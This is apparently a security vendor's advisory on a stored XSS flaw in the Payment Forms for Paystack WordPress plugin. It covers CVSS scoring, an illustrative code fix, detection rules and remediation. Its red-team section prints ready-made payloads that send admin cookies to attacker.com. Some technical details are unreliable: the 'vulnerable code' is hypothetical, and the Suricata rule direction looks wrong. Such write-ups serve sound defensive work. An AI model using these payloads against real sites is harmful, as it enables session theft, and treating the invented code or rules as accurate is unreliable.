CVE-2024-32130

Executive Summary

CVE-2024-32130 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Payment Forms for Paystack WordPress plugin, affecting versions from n/a through 3.4.1. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into payment form fields. When an administrator or other user views the affected form entries, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at the time of analysis, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress ecosystem component, it is subject to supply chain risks if the plugin is compromised at the source. Users should verify plugin integrity via checksums provided by WordPress.org and monitor for any unauthorized updates.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must view the malicious form entry.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access reduces the attack surface. However, once exploited, the stored XSS can lead to full compromise of the WordPress admin session.

Deep Dive & Mechanics

The vulnerability resides in the Payment Forms for Paystack plugin, specifically in the handling of user-supplied input within payment form fields (e.g., customer name, email, or custom metadata). The plugin fails to sanitize or escape this input before storing it in the database and later rendering it in the WordPress admin panel (e.g., in the "View Entries" or "Submissions" page).

Attack Flow:

1. An attacker with contributor-level access creates or edits a payment form.
2. The attacker injects a malicious JavaScript payload into a text field (e.g., <script>alert('XSS')</script>).
3. The plugin stores the payload in the WordPress database without sanitization.
4. When an administrator navigates to the form submissions page, the payload is rendered in the browser, executing the script.
5. The script can steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Root Cause: The plugin uses functions like echo $field_value or the_content filter without applying esc_html() or wp_kses() to neutralize HTML/JavaScript.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on standard WordPress security practices.

Vulnerable Code (Example from plugin):

// In a template file displaying form entries
echo '<td>' . $entry_data['customer_name'] . '</td>';

Patched Code (Recommended Fix):

// Properly escape output
echo '<td>' . esc_html( $entry_data['customer_name'] ) . '</td>';

Additional Hardening:

• Use wp_kses_post() for rich text fields if HTML is allowed.
• Validate input on submission using sanitize_text_field() or sanitize_textarea_field().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Payment Forms for Paystack <= 3.4.1.
• Contributor-level account credentials.

Steps:

1. Log in as a contributor.
2. Navigate to Payment Forms > Add New.
3. In a text field (e.g., "Customer Name"), enter:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the form and submit a test entry.
5. Wait for an admin to view the submissions page.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual form submissions containing <script>, <img onerror>, or base64-encoded strings.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Prevention:

• Disable the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains containing document.cookie or btoa.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with encoded payloads.

• Host IOCs:

  • Database entries in wp_postmeta or custom plugin tables containing <script> tags.
  • Log entries showing repeated form submissions from the same user.

• File IOCs:

  • Modified plugin files (e.g., payment-forms-for-paystack.php) with added eval or base64_decode functions.

Detection Engineering

YARA Rule

rule CVE_2024_32130_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Payment Forms for Paystack plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32130"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $img_onerror = /<img[^>]+onerror\s*=/is
        $svg_xss = /<svg[^>]+onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-32130 Stored XSS in Payment Forms for Paystack
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d3f1a0b9c8d
status: experimental
description: Detects stored XSS attempts via Payment Forms for Paystack plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=paystack_submit_form'
        cs-uri-query|contains|base64: 'PHNjcmlwdA=='  # Base64 of '<script'
    condition: selection
falsepositives:
    - Legitimate use of base64 encoding in form fields
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32130 Stored XSS Payload in Payment Forms"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=paystack_submit_form"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit all form submissions for malicious payloads. Delete any suspicious entries.
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• Apply the hypothetical patch described in the "Vulnerable vs. Patched Code" section.
• Monitor the plugin's official page for updates.
• Implement a Web Application Firewall (WAF) with XSS rules.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for XSS.
• Restrict contributor roles to only trusted users.

Valters IT
Securing Digital Frontiers